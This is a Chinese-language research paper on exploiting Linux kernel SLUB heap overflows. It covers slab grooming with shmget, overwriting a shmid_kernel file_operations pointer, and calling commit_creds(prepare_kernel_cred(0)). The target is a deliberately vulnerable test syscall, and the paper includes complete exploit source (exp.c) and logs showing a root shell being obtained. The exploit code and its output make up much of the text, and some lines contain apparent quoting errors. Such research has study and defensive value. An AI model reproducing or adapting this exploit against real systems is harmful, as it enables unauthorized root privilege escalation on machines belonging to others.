<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            Exploit Linux Kernel Slub Overflow

            By wzt
            
            
            一、前言
            
                最近幾年關于kernel exploit的研究比較熱門,常見的內核提權漏洞大致可以分為幾類:
            空指針引用,內核堆棧溢出,內核slab溢出,內核任意地址可寫等等。空指針引用漏洞比較
            容易exploit,典型的例子如sock_sendpage,udp_sendmsg。但是新內核的安全模塊已經不
            在允許userspace的code映射低內存了,所以NULL pointer dereference曾經一度只能dos,
            不能提權。但是CVE-2010-4258這個內核任意地址可寫漏洞,可以將null pointer dereference
            的dos轉化為提權。內核堆棧溢出相對userspace下的堆棧溢出比較好exploit。這里最難exploit
            的是kernel的slab溢出。關于slab的溢出在05年的時候,UNF的qobaiashi就寫過paper來闡述
            slab的exploit方法。此后關于slab的溢出研究在都集中在2.4內核上,2.6下的slab溢出一
            直沒看到有相關的paper共享出來。
            
                在kernel 2.6.22的時候,kernel為了改善slab的性能,引入了slub的設計。針對slub
            溢出的paper一直沒有被共享直到Jon Oberheide發布了一個針對CAN協議的slub溢出的exploit,
            這個應該是第一個公開的在2.6kernel上利用slab溢出的exploit,在ubuntu-10.04 2.6.32
            的kernel上運行成功。Jon Oberheide在他的blog上也有篇關于分析slub溢出的paper,但是
            這個exploit由于利用了CAN代碼上的一些優勢,并沒有把slub溢出的精髓體現出來。在深入
            研究了這個exploit的基礎上,在加上我調試2.4內核slab溢出的經驗,研究了一下slub的溢
            出技術,在centos 5.4 + 2.6.32環境測試成功。
            
            
            二、示例代碼:
            
                為了便于調試,我自己寫了一個LKM模塊,給內核新增了一個系統調用,用戶可以通過
            api接口來調用。
            
            --code-------------------------------------------------------------------------
            #define BUFFER_SIZE	80
            
            asmlinkage long kmalloc_overflow_test(char *addr, int size)
            {
                    char *buff = NULL;
            
                    buff = kmalloc(BUFFER_SIZE, GFP_KERNEL);
                    if (!buff) {
                            printk("kmalloc failed.\n");
                            return -1;
                    }
                    printk("[+] Got object at 0x%p\n", buff);
            
                    if (copy_from_user(buff, addr, size)) {
            		printk("copy_from_user failed.\n");
                            kfree(buff);
            		return -1;
                    }
            	printk("%s\n", buff);
            
                    return 0;
            }
            -------------------------------------------------------------------------------
            
                這段代碼用kmalloc分配了80字節的空間,但沒有檢查size的大小,用戶傳遞一個大于
            80的size值將會產生內核堆溢出。
            
            
            三、SLUB結構
            
                slub大大簡化了slab的數據結構,如從kmem_cache的3個關于slab的隊列中去掉了完全
            滿的隊列。每個slab的開始也沒有了slab管理結構和管理空obj的kmem_bufctl_t數組。一個
            采用slub管理的slab結構如下:
            
                一個slab的結構:
            
                +-------------------------------------------+
                | obj | obj | obj |   ...               |obj|
                +-------------------------------------------+  
               
                根據上面的代碼片段,在一個obj溢出后,臟數據會直接覆蓋后面相鄰的那個obj:
            
                |first|second|
                +-------------------------------------------+
                | obj | obj | obj |   ...               |obj|
                +-------------------------------------------+  
                |-----overflow--->|
            
                當有內核代碼訪問了被溢出的obj中的數據結構后,就會產生oops。
            
            
            四、SLUB溢出方法
            
                內核提權的最終目的就是觸發某個kernel bug,然后控制內核路徑到userspace事先布
            置好的shellcode上。因此我們的大方向是在second obj中如果有一個函數指針能被臟數據
            覆蓋為userspace下的shellcode,并且用戶又能調用這個函數指針,那么將會完成權限提升
            的任務。還有一個要處理的問題就是如何保證在有bug的代碼中用kmalloc分配的obj和我們
            想要覆蓋的函數指針所在的obj是相鄰的。因為只能兩者相鄰,才能用溢出的數據覆蓋函數
            指針。
            
                我們先假設已經在kernel中找到了一個數據結構,正好滿足了上面的需求,現在只要保
            證兩個obj是相鄰的,就能完成指針覆蓋。我們知道slab的一個特性是當一個cache中的所有
            slab結構中的obj都用完的時候,內核將會重新分配一個slab,新分配的slab中的obj彼此都
            是相鄰的:
            
            Kmalloc()->__kmalloc()->__do_kmalloc()->__cache_alloc()->____cache_alloc()
            ->cache_alloc_refill()->cache_grow()->cache_init_objs()
            --code-------------------------------------------------------------------------
            static void cache_init_objs(struct kmem_cache *cachep,
            struct slab *slabp, unsigned long ctor_flags)
            {
            	for (i = 0; i < cachep->num; i++) {
            		void *objp = index_to_obj(cachep, slabp, i);
            		slab_bufctl(slabp)[i] = i + 1;
            	}
            	slab_bufctl(slabp)[i - 1] = BUFCTL_END;
            	slabp->free = 0;
            }
            -------------------------------------------------------------------------------
            
                前面在slab的結構中提到有個kmem_bufctl_t數組,里面的每個元素指向下一個空閑obj
            的索引。在初始化一個新的slab時,每個kmem_bufctl_t元素都順序的指向了與它相鄰的下一
            個obj,所以當內核重新分配一個slab結構時,我們從這個新的slab中分配的obj都是相鄰的。
            
                那么SLUB是不是也滿足這個特性呢?在仔細讀過slub的代碼后,發現它也滿足這個特性:
                
            kmalloc()->slab_alloc()->__slab_alloc()->new_slab():
            --code-------------------------------------------------------------------------
            static struct page *new_slab(struct kmem_cache *s, gfp_t flags, int node)
            {
                    last = start;
                    for_each_object(p, s, start, page->objects) {
                            setup_object(s, page, last);
                            set_freepointer(s, last, p);
                            last = p;
                    }
                    setup_object(s, page, last);
                    set_freepointer(s, last, NULL);
            }
            #define for_each_object(__p, __s, __addr, __objects) \
                    for (__p = (__addr); __p < (__addr) + (__objects) * (__s)->size;\
                                    __p += (__s)->size)
            -------------------------------------------------------------------------------
                                    
                這段代碼遍歷一個page中的所有obj進行初始化:
            
            --code-------------------------------------------------------------------------
            static inline void set_freepointer(struct kmem_cache *s, void *object, void *fp)
            {
                    *(void **)(object + s->offset) = fp;
            }
            -------------------------------------------------------------------------------
            
                s->offset保存的是一個slab中下一個空閑的obj偏移,set_freepointer函數將一個obj
            的下一個空閑指針指向了下一個obj。所以slub也滿足這個特性。
            
                現在我們只要在用戶空間找到一種方法來不斷消耗大小為96的slab,當現有的slab用完
            的時候,新分配的slab中的obj就是連續相鄰的。如何消耗slab,我們仍然可以用shmget系
            統調用來處理,并且它用到的struct shmid_kernel結構中,就有我們想覆蓋的函數指針!
            
            ipc/shm.c:
            --code-------------------------------------------------------------------------
            sys_shmget->ipcget->ipcget_new->newseg:
            static int newseg(struct ipc_namespace *ns, struct ipc_params *params)
            {
                    struct shmid_kernel *shp;
            
                    shp = ipc_rcu_alloc(sizeof(*shp));
            	shp->shm_file = file;
            }
            void* ipc_rcu_alloc(int size)
            {
            	out = kmalloc(HDRLEN_KMALLOC + size, GFP_KERNEL);
            }
            -------------------------------------------------------------------------------
            
                因此只要在用戶空間不斷調用shmget就會在內核中不斷消耗大小為96的slab。示例中的
            代碼分配的是80個字節,它將會在96大小的slab中分配,這里還有一點需要注意:
            
            --code-------------------------------------------------------------------------
            out = kmalloc(HDRLEN_KMALLOC + size, GFP_KERNEL); 
            -------------------------------------------------------------------------------
            
                用shmget分配的obj前段都有一個8個字節的站位空間,因此用shmget分配的shmid_kernel
            結構將會如下:
            
                | ------ 96 --------------------| ---------------96 ------------|
                +---------------------------------------------------------------+
                | HDRLEN_KMALLOC | shmid_kernel | HDRLEN_KMALLOC | shmid_kernel |
                +---------------------------------------------------------------+  
            
                在以后覆蓋的時候需要跳過HDRLEN_KMALLOC個字節。
            
                內核中關于slab的信息,可以在/proc/slabinfo得到:
            
            -------------------------------------------------------------------------------
            [wzt@localhost exp]$ cat /proc/slabinfo |grep kmalloc-96
            kmalloc-96           922    924     96   42    1 : tunables    0    0    0 : slabdata     22     22      0
            -------------------------------------------------------------------------------
            
                922為當前活躍的obj數目,924是所有slab中obj的數目,因此我們在用戶空間中可以解
            析這個文件來得到當前系統中剩余的obj數目:
            
            --code-------------------------------------------------------------------------
            int check_slab(char *slab_name, int *active, int *total)
            {
                    FILE *fp;
                    char buff[1024], name[64];
                    int active_num, total_num;
            
                    fp = fopen("/proc/slabinfo", "r");
                    if (!fp) {
                            perror("fopen");
                            return -1;
                    }
            
                    while (fgets(buff, 1024, fp) != NULL) {
                            sscanf(buff, "%s %u %u", name, &active_num, &total_num);
                            if (!strcmp(slab_name, name)) {
                                    *active = active_num;
                                    *total = total_num;
                                    return total_num - active_num;
                            }
                    }
            
                    return -1;
            }
            -------------------------------------------------------------------------------
            
                現在寫一段code來不斷調用shmget,看看新分配的obj是不是連續的,為了調試方便,
            我修改了sys_shmget的代碼,加入了printk用于打印kmalloc后的地址。trigger程序的代碼
            片段如下:
            
            trigger.c:
            --code-------------------------------------------------------------------------
            ...
                    shmids = malloc(sizeof(int) * (free_num + SLAB_NUM * 3));
            
                    fprintf(stdout, "[+] smashing free slab ...\n");
                    for (i = 0; i < free_num + SLAB_NUM; i++) {
                            if (!check_slab(SLAB_NAME, &active_num, &total_num))
                                    break;
            
                            shmids[i] = shmget(IPC_PRIVATE, 1024, IPC_CREAT);
                            if (shmids[i] < 0) {
                                    perror("shmget");
                                    return -1;
                            }
                    }
                    base = i;
                    fprintf(stdout, "[+] smashing %d total: %d active: %d free: %d\n",
                            i, total_num, active_num, total_num - active_num);
            
                    fprintf(stdout, "[+] smashing adjacent slab ...\n");
                    i = base;
                    for (; i < base + SLAB_NUM; i++) {
                            shmids[i] = shmget(IPC_PRIVATE, 1024, IPC_CREAT);
                            if (shmids[i] < 0) {
                                    perror("shmget");
                                    return -1;
                            }
                    }
                    check_slab(SLAB_NAME, &active_num, &total_num);
                    fprintf(stdout, "[+] smashing %d total: %d active: %d free: %d\n",
                            i, total_num, active_num, total_num - active_num);
            ...
            
            [wzt@localhost exp]$ ./exp
            [+] mmaping kernel code at 0x41414141 ok.
            [+] looking for symbols...
            [+] found commit_creds addr at 0xc0446524.
            [+] found prepare_kernel_cred addr at 0xc0446710.
            [+] setting up exploit payload...
            [+] checking slab total: 840 active: 836 free: 4
            [+] smashing free slab ...
            [+] smashing 17 total: 840 active: 840 free: 0
            [+] smashing adjacent slab ...
            [+] smashing 117 total: 966 active: 966 free: 0
            -------------------------------------------------------------------------------
            
                可以看到dmesg后的信息,新的obj都是連續的。
            
            -------------------------------------------------------------------------------    
            [wzt@localhost exp]$ dmesg|tail -n 10
            [+] kmalloc at 0xdf1ea120
            [+] kmalloc at 0xdf1ea180
            [+] kmalloc at 0xdf1ea1e0
            [+] kmalloc at 0xdf1ea240
            [+] kmalloc at 0xdf1ea2a0
            [+] kmalloc at 0xdf1ea300
            [+] kmalloc at 0xdf1ea360
            [+] kmalloc at 0xdf1ea3c0
            [+] kmalloc at 0xdf1ea420
            [+] kmalloc at 0xdf1ea480
            -------------------------------------------------------------------------------
            
                ok,我們已經能獲得一個連續的obj了,現在要利用slub的另一個特性:FIFO,先在這
            些連續的obj中選取一個obj釋放掉,然后馬上觸發有bug的代碼,那么有bug的代碼調用kmalloc
            分配的obj地址就是剛才釋放掉的那個obj,當溢出發生后,臟數據將會覆蓋它相鄰的下一個
            obj。可以用如下代碼來觸發:
            
            trigger.c:
            --code-------------------------------------------------------------------------
            ...
                    free_idx = i - 4;
                    fprintf(stdout, "[+] free exist shmid with idx: %d\n", free_idx);
                    if (shmctl(shmids[free_idx], IPC_RMID, NULL) == -1) {
                            perror("shmctl");
                    }
            
                    fprintf(stdout, "[+] trigger kmalloc overflow in %s\n", SLAB_NAME);
                    memset(buff, 0x41, sizeof(buff));
            	kmalloc_overflow_test(buff, SLAB_SIZE + HDRLEN_KMALLOC + sizeof(shmid_kernel));
            ...
            -------------------------------------------------------------------------------
            
                在這里我們將倒數第4個obj釋放掉,執行后dmesg可以看到:
            
            -------------------------------------------------------------------------------
            [+] kmalloc at 0xd3decc00
            [+] kmalloc at 0xd3decc60
            [+] kmalloc at 0xd3deccc0
            [+] kmalloc at 0xd3decd20
            [+] kmalloc at 0xd3decd80
            [-] kfree at 0xd3decc60
            ...............................
            [+] Got object at 0xd3decc60
            AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
            -------------------------------------------------------------------------------
            
                shmctl釋放掉了0xd3decc60地址后,有bug的kmalloc分配的地址也是0xd3decc60。
            
            -------------------------------------------------------------------------------
            [wzt@localhost exp]$ tail /proc/sysvipc/shm
                     0    8192250     0       1024  3148     0      0   500   500   500   500          0          0 1293098372
            1094795585 1094795585     0        500 134522884     0    500 1094795585 1094795585     0     0 4294967295        252          0
            1094795585 1094795585     0       1024  3148     0      0   500   500   500   500          0          0 1293098372
                     0    8323326     0       1024  3148     0      0   500   500   500   500          0          0 1293098372
            -------------------------------------------------------------------------------
                     
                可以看到與0xd3decc60相鄰的下一個obj地址0xd3deccc0中的shmid_kernel結構已經被
            覆蓋了。
            
                現在我們可以來覆蓋一個函數指針了,在shmid_kernel中正好有滿足我們需要的函數指
            針!
            
                kernel中處理ipc共享內存的一個數據結構struct shmid_kernel:
            
            --code-------------------------------------------------------------------------
            struct shmid_kernel /* private to the kernel */
            {       
                    struct kern_ipc_perm    shm_perm;
                    struct file *           shm_file;
                    unsigned long           shm_nattch;
                    unsigned long           shm_segsz;      
                    time_t                  shm_atim;
                    time_t                  shm_dtim;
                    time_t                  shm_ctim;
                    pid_t                   shm_cprid;
                    pid_t                   shm_lprid;
                    struct user_struct      *mlock_user;
            };      
            
            struct shmid_kernel {
            	.shm_file = struct file {
            		.f_op = struct file_operations = {
            			.mmap = ATTACKER_ADDRESS
            		}
            	}
            }
            -------------------------------------------------------------------------------
            
                可以用shmat的系統調用來觸發:
            
            --code-------------------------------------------------------------------------
            sys_shmat()->do_shmat():
            long do_shmat(int shmid, char __user *shmaddr, int shmflg, ulong *raddr)
            {
            	user_addr = do_mmap(file, addr, size, prot, flags, 0);
            }
            -------------------------------------------------------------------------------
            
                do_mmap將被覆蓋為shellcode地址。
            
                ok,現在可以寫一個完整的exp了,試試先:
                
            -------------------------------------------------------------------------------
            [wzt@localhost exp]$ ./exp
            執行后系統掛掉了, 看下dmesg信息:
            [+] kmalloc at 0xd31752a0
            [+] kmalloc at 0xd3175300
            [+] kmalloc at 0xd3175360
            [+] kmalloc at 0xd31753c0
            [+] kmalloc at 0xd3175420
            [+] kmalloc at 0xd3175480
            [+] kmalloc at 0xd31754e0
            [-] kfree at 0xd31753c0
            ...............................
            [+] Got object at 0xd31753c0
            AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
            BUG: unable to handle kernel NULL pointer dereference at (null)
            IP: [<c04fc352>] ipc_has_perm+0x46/0x61
            *pde = 00000000 
            Oops: 0000 [#1] SMP 
            last sysfs file: /sys/devices/pci0000:00/0000:00:05.0/local_cpus
            Modules linked in: sys ipv6 autofs4 sunrpc ip_tables ip6_tables x_tables dm_multipath video output sbs sbshc battery ac parport_pc lp parport snd_intel8x0 snd_ac97_codec ac97_bus snd_seq_dummy snd_seq_oss snd_seq_midi_event snd_seq snd_seq_device snd_pcm_oss snd_mixer_oss ide_cd_mod button cdrom snd_pcm rtc_cmos serio_raw rtc_core rtc_lib snd_timer 8139too floppy snd 8139cp soundcore i2c_piix4 mii snd_page_alloc i2c_core pcspkr dm_snapshot dm_zero dm_mirror dm_region_hash dm_log dm_mod ata_piix libata sd_mod scsi_mod ext3 jbd uhci_hcd ohci_hcd ehci_hcd [last unloaded: microcode]
            
            Pid: 3190, comm: exp Not tainted (2.6.32 #2) Bochs
            EIP: 0060:[<c04fc352>] EFLAGS: 00010246 CPU: 1
            EIP is at ipc_has_perm+0x46/0x61
            EAX: 00000000 EBX: 00000000 ECX: 00000000 EDX: d3175428
            ESI: 000001f0 EDI: d33ebf30 EBP: 00000080 ESP: d33ebec8
             DS: 007b ES: 007b FS: 00d8 GS: 0033 SS: 0068
            Process exp (pid: 3190, ti=d33eb000 task=dbe6ea30 task.ti=d33eb000)
            Stack:
             d3175428 d33ebed0 00000004 00000000 00000000 00000000 00000000 00000000
            <0> 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
            <0> 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
            Call Trace:
             [<c04f9cf3>] ? security_ipc_permission+0xf/0x10
             [<c04f22e4>] ? do_shmat+0xdc/0x349
             [<c04057da>] ? sys_ipc+0xff/0x162
             [<c0402865>] ? syscall_call+0x7/0xb
            Code: 8c e4 82 c0 8b 92 d8 02 00 00 89 c7 8b 52 58 8b 72 04 31 d2 89 44 24 04 89 d0 f3 ab 8b 14 24 c6 44 24 08 04 8b 42 0c 89 44 24 10 <0f> b7 0b 8d 44 24 08 8b 53 04 50 89 f0 55 e8 75 fb ff ff 83 c4 
            EIP: [<c04fc352>] ipc_has_perm+0x46/0x61 SS:ESP 0068:d33ebec8
            CR2: 0000000000000000
            ---[ end trace 7bbab7e881899412 ]---
            [wzt@localhost exp]$ 
            -------------------------------------------------------------------------------
            
                看上去像selinux的問題,將它關閉掉再試試:
            
            -------------------------------------------------------------------------------
            [wzt@localhost exp]$ ./exp
            [+] mmaping kernel code at 0x41414141 ok.
            [+] looking for symbols...
            [+] found commit_creds addr at 0xc0446524.
            [+] found prepare_kernel_cred addr at 0xc0446710.
            [+] setting up exploit payload...
            [+] checking slab total: 798 active: 791 free: 7
            [+] smashing free slab ...
            [+] smashing 5 total: 798 active: 798 free: 0
            [+] smashing adjacent slab ...
            [+] smashing 105 total: 924 active: 924 free: 0
            [+] free exist shmid with idx: 101
            [+] trigger kmalloc overflow in kmalloc-96
            [+] shmid_kernel size: 80
            [+] kern_ipc_perm size: 44
            [+] shmid: 3309669
            [+] launching root shell!
            [root@localhost exp]# uname -a
            Linux localhost.localdomain 2.6.32 #2 SMP Thu Dec 23 14:59:36 CST 2010 i686 i686 i386 GNU/Linux
            [root@localhost exp]# 
            -------------------------------------------------------------------------------
            
                成功了,終于得到可愛的root了! 
            
            
            五、源碼:
            
            exp.c
            /*
             * linux kernel slub overflow test exploit
             *
             * by wzt	<wzt.wzt@gmail.com>
             *
             */
            
            #include <stdio.h>
            #include <stdlib.h>
            #include <string.h>
            #include <unistd.h>
            #include <fcntl.h>
            #include <limits.h>
            #include <inttypes.h>
            #include <sys/types.h>
            #include <sys/ipc.h>
            #include <sys/sem.h>
            #include <sys/shm.h>
            #include <sys/mman.h>
            #include <sys/stat.h>
            
            #include "syscalls.h"
            
            #define __NR_kmalloc_overflow_test	59
            
            #define KALLSYMS_NAME			"/proc/kallsyms"
            #define SLAB_NAME			"kmalloc-96"
            #define SLAB_SIZE			96
            #define SLAB_NUM			100
            
            #define IPCMNI				32768
            #define EIDRM				43
            #define HDRLEN_KMALLOC			8
            
            struct list_head {
            	struct list_head *next;
            	struct list_head *prev;
            };
            
            struct super_block {
            	struct list_head s_list;
            	unsigned int s_dev;
            	unsigned long s_blocksize;
            	unsigned char s_blocksize_bits;
            	unsigned char s_dirt;
            	uint64_t s_maxbytes;
            	void *s_type;
            	void *s_op;
            	void *dq_op;
            	void *s_qcop;
            	void *s_export_op;
            	unsigned long s_flags;
            }super_block;
            
            struct mutex {
            	unsigned int count;
            	unsigned int wait_lock;
            	struct list_head wait_list;
            	void *owner;
            };
            
            struct inode {
            	struct list_head i_hash;
            	struct list_head i_list;
            	struct list_head i_sb_list;
            	struct list_head i_dentry_list;
            	unsigned long i_ino;
            	unsigned int i_count;
            	unsigned int i_nlink;
            	unsigned int i_uid;
            	unsigned int i_gid;
            	unsigned int i_rdev;
            	uint64_t i_version;
            	uint64_t i_size;
            	unsigned int i_size_seqcount;
            	long i_atime_tv_sec;
            	long i_atime_tv_nsec;
            	long i_mtime_tv_sec;
            	long i_mtime_tv_nsec;
            	long i_ctime_tv_sec;
            	long i_ctime_tv_nsec;
            	uint64_t i_blocks;
            	unsigned int i_blkbits;
            	unsigned short i_bytes;
            	unsigned short i_mode;
            	unsigned int i_lock;
            	struct mutex i_mutex;
            	unsigned int i_alloc_sem_activity;
            	unsigned int i_alloc_sem_wait_lock;
            	struct list_head i_alloc_sem_wait_list;
            	void *i_op;
            	void *i_fop;
            	struct super_block *i_sb;
            	void *i_flock;
            	void *i_mapping;
            	char i_data[84];
            	void *i_dquot_1;
            	void *i_dquot_2;
            	struct list_head i_devices;
            	void *i_pipe_union;
            	unsigned int i_generation;
            	unsigned int i_fsnotify_mask;
            	void *i_fsnotify_mark_entries;
            	struct list_head inotify_watches;
            	struct mutex inotify_mutex;
            }inode;
            
            struct dentry {
            	unsigned int d_count;
            	unsigned int d_flags;
            	unsigned int d_lock;
            	int d_mounted;
            	void *d_inode;
            	struct list_head d_hash;
            	void *d_parent;
            }dentry;
            
            struct file_operations {
            	void *owner;
            	void *llseek;
            	void *read;
            	void *write;
            	void *aio_read;
             	void *aio_write;
            	void *readdir;
            	void *poll;
            	void *ioctl;
            	void *unlocked_ioctl;
            	void *compat_ioctl;
            	void *mmap;
            	void *open;
            	void *flush;
            	void *release;
            	void *fsync;
            	void *aio_fsync;
            	void *fasync;
            	void *lock;
            	void *sendpage;
            	void *get_unmapped_area;
            	void *check_flags;
            	void *flock;
            	void *splice_write;
            	void *splice_read;
            	void *setlease;
            }op;
            
            struct vfsmount {
            	struct list_head mnt_hash;
            	void *mnt_parent;
            	void *mnt_mountpoint;
            	void *mnt_root;
            	void *mnt_sb;
            	struct list_head mnt_mounts;
            	struct list_head mnt_child;
            	int mnt_flags;
            	const char *mnt_devname;
            	struct list_head mnt_list;
            	struct list_head mnt_expire;
            	struct list_head mnt_share;
            	struct list_head mnt_slave_list;
            	struct list_head mnt_slave;
            	struct vfsmount *mnt_master;
            	struct mnt_namespace *mnt_ns;
            	int mnt_id;
            	int mnt_group_id;
            	int mnt_count;
            }vfsmount;
            
            struct file {
            	struct list_head fu_list;
            	struct vfsmount *f_vfsmnt;
            	struct dentry *f_dentry;
            	void *f_op;
            	unsigned int f_lock;
            	unsigned long f_count;
            }file;
            
            struct kern_ipc_perm {
            	unsigned int lock;
            	int deleted;
            	int id;
            	unsigned int key;
            	unsigned int uid;
            	unsigned int gid;
            	unsigned int cuid;
            	unsigned int cgid;
            	unsigned int mode;
            	unsigned int seq;
            	void *security;
            };  
                
            struct shmid_kernel {
            	struct kern_ipc_perm shm_perm;
            	struct file *shm_file;
            	unsigned long shm_nattch;
            	unsigned long shm_segsz;
            	time_t shm_atim;
            	time_t shm_dtim;
            	time_t shm_ctim;
            	unsigned int shm_cprid;
            	unsigned int shm_lprid;
            	void *mlock_user;
            }shmid_kernel;
            
            typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
            typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
            _commit_creds commit_creds;
            _prepare_kernel_cred prepare_kernel_cred;
            
            static inline my_syscall2(long, kmalloc_overflow_test, char *, addr, int, size);
            
            int __attribute__((regparm(3)))
            kernel_code(struct file *file, void *vma)
            {
            	commit_creds(prepare_kernel_cred(0));
            	return -1;
            }
            
            unsigned long find_symbol_by_proc(char *file_name, char *symbol_name)
            {
                    FILE *s_fp;
                    char buff[200];
                    char *p = NULL, *p1 = NULL;
                    unsigned long addr = 0;
            
                    s_fp = fopen(file_name, "r");
                    if (s_fp == NULL) {
                            printf("open %s failed.\n", file_name);
                            return 0;
                    }
            
                    while (fgets(buff, 200, s_fp) != NULL) {
                            if (strstr(buff, symbol_name) != NULL) {
                                    buff[strlen(buff) - 1] = "\0";
                                    p = strchr(strchr(buff, " ") + 1, " ");
                                    ++p;
            
                                    if (!p) {
                                            return 0;
                                    }
                                    if (!strcmp(p, symbol_name)) {
                                            p1 = strchr(buff, " ");
                                            *p1 = "\0";
                                            sscanf(buff, "%lx", &addr);
                                            //addr = strtoul(buff, NULL, 16);
                                            printf("[+] found %s addr at 0x%x.\n",
                                                    symbol_name, addr);
                                            break;
                                    }
                            }
                    }
            
                    fclose(s_fp);
                    return addr;
            }
            
            int check_slab(char *slab_name, int *active, int *total)
            {
            	FILE *fp;
            	char buff[1024], name[64];
            	int active_num, total_num;
            	
            	fp = fopen("/proc/slabinfo", "r");
            	if (!fp) {
            		perror("fopen");
            		return -1;
            	}
            
            	while (fgets(buff, 1024, fp) != NULL) {
            		sscanf(buff, "%s %u %u", name, &active_num, &total_num);
            		if (!strcmp(slab_name, name)) {
            			*active = active_num;
            			*total = total_num;
            			return total_num - active_num;
            		}
            	}
            
            	return -1;
            }
            
            void clear_old_shm(void)
            {
            	char *cmd = "for shmid in `cat /proc/sysvipc/shm | awk "{print $2}"`; "
            		    "do ipcrm -m $shmid > /dev/null 2>&1; done;";
            
            	system(cmd);
            }
            
            void mmap_init(void)
            {
            	void *payload;
            
                    payload = mmap((void *)(0x41414141 & ~0xfff), 2 * 4096,
                                   PROT_READ | PROT_WRITE | PROT_EXEC,
                                   MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);
                    if ((long)payload == -1) {
                            printf("[*] Failed to mmap() at target address.\n");
                            return ;
                    }
            	printf("[+] mmaping kernel code at 0x41414141 ok.\n"); 
                    memcpy((void *)0x41414141, &kernel_code, 1024);
            
            }
            
            void setup(void)
            {
            	printf("[+] looking for symbols...\n");
            
            	commit_creds = (_commit_creds)
            		find_symbol_by_proc(KALLSYMS_NAME, "commit_creds");
                	if (!commit_creds) {
            		printf("[-] not found commit_creds addr.\n");
            		return ;
                	}
            
            	prepare_kernel_cred = 
            		(_prepare_kernel_cred)find_symbol_by_proc(KALLSYMS_NAME, 
            		"prepare_kernel_cred");
                	if (!prepare_kernel_cred) {
            		printf("[-] not found prepare_kernel_cred addr.\n");
            		return ;
                	}
            
            	printf("[+] setting up exploit payload...\n");
            
            	super_block.s_flags = 0;
            
                	inode.i_size = 4096;
                	inode.i_sb = &super_block;
                	inode.inotify_watches.next = &inode.inotify_watches;
                	inode.inotify_watches.prev = &inode.inotify_watches;
                	inode.inotify_mutex.count = 1;
            
                	dentry.d_count = 4096;
                	dentry.d_flags = 4096;
                	dentry.d_parent = NULL;
                	dentry.d_inode = &inode;
            
                	op.mmap = &kernel_code;
                	op.get_unmapped_area = &kernel_code;
            
                	vfsmount.mnt_flags = 0;
                	vfsmount.mnt_count = 1;
            
                	file.fu_list.prev = &file.fu_list;
                	file.fu_list.next = &file.fu_list;
                	file.f_dentry = &dentry;
                	file.f_vfsmnt = &vfsmount;
                	file.f_op = &op;
            
                	shmid_kernel.shm_perm.key = IPC_PRIVATE;
                	shmid_kernel.shm_perm.uid = 501;
                	shmid_kernel.shm_perm.gid = 501;
                	shmid_kernel.shm_perm.cuid = getuid();
                	shmid_kernel.shm_perm.cgid = getgid();
                	shmid_kernel.shm_perm.mode = -1;
                	shmid_kernel.shm_file = &file;
            }
            
            int trigger(void)
            {
            	int *shmids;
            	int total_num, active_num, free_num;
            	int base, free_idx, i;
            	int ret;
            	char buff[1024];
            
            	clear_old_shm();
            
            	free_num = check_slab(SLAB_NAME, &active_num, &total_num);
            	fprintf(stdout, "[+] checking slab total: %d active: %d free: %d\n",
            		total_num, active_num, total_num - active_num);
            
            	shmids = malloc(sizeof(int) * (free_num + SLAB_NUM * 3));
            
            	fprintf(stdout, "[+] smashing free slab ...\n");
            	for (i = 0; i < free_num + SLAB_NUM; i++) {
            		if (!check_slab(SLAB_NAME, &active_num, &total_num))
            			break;
            
            		shmids[i] = shmget(IPC_PRIVATE, 1024, IPC_CREAT);
            		if (shmids[i] < 0) {
            			perror("shmget");
            			return -1;
            		}
            	}
            	base = i;
                    fprintf(stdout, "[+] smashing %d total: %d active: %d free: %d\n",
                            i, total_num, active_num, total_num - active_num);
            
            	fprintf(stdout, "[+] smashing adjacent slab ...\n");
            	i = base;
            	for (; i < base + SLAB_NUM; i++) {
                            shmids[i] = shmget(IPC_PRIVATE, 1024, IPC_CREAT);
                            if (shmids[i] < 0) {
                                    perror("shmget");
                                    return -1;
                            }
            	}
            	check_slab(SLAB_NAME, &active_num, &total_num);
                    fprintf(stdout, "[+] smashing %d total: %d active: %d free: %d\n",
                            i, total_num, active_num, total_num - active_num);
            
            	//free_idx = base + SLAB_NUM - 4;
            	free_idx = i - 4;
            	fprintf(stdout, "[+] free exist shmid with idx: %d\n", free_idx);
            	if (shmctl(shmids[free_idx], IPC_RMID, NULL) == -1) {
            		perror("shmctl");
            	}
            
            	sleep(1);
            
            	fprintf(stdout, "[+] trigger kmalloc overflow in %s\n", SLAB_NAME);
            	memset(buff, 0x41, sizeof(buff));
            	shmid_kernel.shm_perm.seq = shmids[free_idx + 1] / IPCMNI;
            	memcpy(&buff[SLAB_SIZE + HDRLEN_KMALLOC], &shmid_kernel, sizeof(shmid_kernel));
            	//memcpy(&buff[SLAB_SIZE], &shmid_kernel, sizeof(shmid_kernel));
            
            	printf("[+] shmid_kernel size: %d\n", sizeof(shmid_kernel));
            	printf("[+] kern_ipc_perm size: %d\n", sizeof(struct kern_ipc_perm));
            	printf("[+] shmid: %d\n", shmids[free_idx]);
            
            	kmalloc_overflow_test(buff, SLAB_SIZE + HDRLEN_KMALLOC + sizeof(shmid_kernel));
            
            	ret = (int)shmat(shmids[free_idx + 1], NULL, SHM_RDONLY);
            	if (ret == -1 && errno != EIDRM) {
            		setresuid(0, 0, 0);
            		setresgid(0, 0, 0);
            
            		printf("[+] launching root shell!\n");
            
            		execl("/bin/bash", "/bin/bash", NULL);
            		exit(0);
            	}
            
            	return 0;
            }
            
            int main(void)
            {
            	mmap_init();
            	setup();
            	trigger();
            }
            
            
            六、參考
            
            1、 Jon Oberheide - Linux Kernel CAN SLUB Overflow
            2、 grip2 - Linux 內核溢出研究系列(2) - kmalloc 溢出技術
            3、 qobaiashi - the sotry of exploiting kmalloc() overflows
